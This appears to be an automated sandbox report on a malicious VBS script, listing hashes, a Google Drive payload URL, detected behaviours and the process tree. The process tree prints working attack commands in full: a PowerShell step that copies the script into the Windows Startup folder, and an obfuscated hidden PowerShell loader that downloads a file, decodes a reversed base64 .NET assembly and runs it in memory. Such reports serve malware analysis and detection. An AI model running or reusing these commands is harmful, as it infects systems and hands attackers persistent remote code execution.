Analysis
-
max time kernel
138s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03/11/2024, 15:29
Static task
static1
Behavioral task
behavioral1
Sample
cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs
Resource
win7-20240903-en
General
-
Target
cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs
-
Size
141KB
-
MD5
83e4a8c3434c580d29ca7d33cac993b7
-
SHA1
61d0199df0b239716b08a3921be45cb9ecc015fe
-
SHA256
cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5
-
SHA512
5fda977b553313152b0caff0d80f51225a6cd321b29398f92b2e7dcaa16c1a4bd2a1256885ca73a51232441df932564928137cad1ca6054c5cf0f5bb06c0d518
-
SSDEEP
3072:/irBgt5pEGw4CvaiYHdtKtbEBFFpRYJO3iYUDQ3k6GL6L1UuXD:bNFp6JO3iYgQhCO3D
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7
https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 23 4216 powershell.exe 29 4216 powershell.exe -
pid Process 2468 powershell.exe 3716 powershell.exe 4216 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs WScript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 drive.google.com 23 drive.google.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3936 cmd.exe 3900 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3900 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2468 powershell.exe 2468 powershell.exe 3716 powershell.exe 3716 powershell.exe 4216 powershell.exe 4216 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 3716 powershell.exe Token: SeDebugPrivilege 4216 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2764 wrote to memory of 3936 2764 WScript.exe 84 PID 2764 wrote to memory of 3936 2764 WScript.exe 84 PID 3936 wrote to memory of 3900 3936 cmd.exe 86 PID 3936 wrote to memory of 3900 3936 cmd.exe 86 PID 3936 wrote to memory of 2468 3936 cmd.exe 96 PID 3936 wrote to memory of 2468 3936 cmd.exe 96 PID 2764 wrote to memory of 3716 2764 WScript.exe 99 PID 2764 wrote to memory of 3716 2764 WScript.exe 99 PID 3716 wrote to memory of 4216 3716 powershell.exe 101 PID 3716 wrote to memory of 4216 3716 powershell.exe 101
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 103⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxsaWRbMV0rJFNoZUxsaURbMTNdKyd4JykgKCgnSUhhaW1hZ2VVcmwgPSAwWThodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTF0bzZCVycrJ05HSDN2OUJ1SXhuaycrJ3drX2dYNFczc0N4a2wnKydrNyAwWTg7SUhhd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXMnKyd0ZW0uTmV0LicrJ1dlYkNsaWVudDtJSGFpbWFnZUJ5dGVzJysnID0gSUhhd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhJSGFpbWFnZVVybCk7SUhhaW1hZ2VUZXh0ID0gW1N5cycrJ3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdCcrJ3JpbmcoSUhha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ub2NzaUMvcmguZWVyZi5uZScrJ2dhdGFkdGZvcy50cm9wcHVzLW5lZXJjcy8vOnNwdHRoMFk4LCAwWThkZXNhdGl2YWRvMCcrJ1k4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThBcHBMYXVuY2gwWTgsIDBZOGRlc2F0aXZhZG8wWTgsIDBZOGRlc2F0aXZhZCcrJ28nKycwWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZOGRlc2F0aXZhZG8wWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZODEwWTgsMFk4ZGVzYScrJ3RpdmFkbzBZOCcrJykpOycpLlJlUExBY0UoJzBZOCcsW1N0cmlOR11bQ0hBUl0zOSkuUmVQTEFjRSgoW0NIQVJdNzMrW0NIQVJdNzIrW0NIQVJdOTcpLCckJykuUmVQTEFjRSgnMlR3JyxbU3RyaU5HXVtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLlid[1]+$SheLliD[13]+'x') (('IHaimageUrl = 0Y8https:/'+'/drive.google.com/uc?export=download&id=1to6BW'+'NGH3v9BuIxnk'+'wk_gX4W3sCxkl'+'k7 0Y8;IHawebClient = New-Object Sys'+'tem.Net.'+'WebClient;IHaimageBytes'+' = IHawebClient.DownloadData'+'(IHaimageUrl);IHaimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetSt'+'ring(IHaimageBytes);IHastartFlag = 0Y8<<BASE64_START>>0Y8'+';IHaendFlag = 0Y8<<BASE64_END>>0Y'+'8;IHastartInde'+'x = IHaimageText.IndexOf(IHastartFlag);IHaendIndex = IHaimageText.IndexOf(IHaendFlag);IHastartIndex -ge 0 -and IHaendIndex -gt IHastartIndex;IHastartIndex += IHastartFlag.Length;IHabase64Length = IHaendIndex - I'+'HastartIndex;IHabase64Command'+' '+'= IHaim'+'ageText.Substring(IHastartIndex, IHabase64Length);IHabase64Reversed = -join (IHabase64Command.To'+'Char'+'Arra'+'y() 2Tw ForEa'+'ch-Object { IHa_ })[-1..-'+'(IHabase64'+'Command.Length)];IHacommandBytes ='+' [System.Conver'+'t]::FromBase64String(IHabase64R'+'eversed);IHaloadedA'+'s'+'sembly = [System.Reflection.Assembly]::Load(IHacommandBytes);IHavaiMethod = [dnlib.IO.Home].Ge'+'tMethod(0Y8VA'+'I'+'0Y8);IHavaiMethod.Invoke(IHanull, @(0Y8txt.ocsiC/rh.eerf.ne'+'gatadtfos.troppus-neercs//:sptth0Y8, 0Y8desativado0'+'Y8, 0Y8desativado0Y8, 0Y8desativado0Y8, 0Y8AppLaunch0Y8, 0Y8desativado0Y8, 0Y8desativad'+'o'+'0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y810Y8,0Y8desa'+'tivado0Y8'+'));').RePLAcE('0Y8',[StriNG][CHAR]39).RePLAcE(([CHAR]73+[CHAR]72+[CHAR]97),'$').RePLAcE('2Tw',[StriNG][CHAR]124) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
64B
MD5913abb232c8f6d76f407616d3e1bdaac
SHA10c670c58b4f94376386e62ce15a9c4b99c42a2e3
SHA2569309f6058e69ca7ebe653f9523c4f303239dedfa847eee22b5d7aff2ca40a773
SHA51287d59254fa2bbb5898b503ff455a85aad85dd070b86278932812291ac7f445ea4c9160e7a14daa1bc5d254201acb117accb0b7419a6b0e7595d98e3e5696f804
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82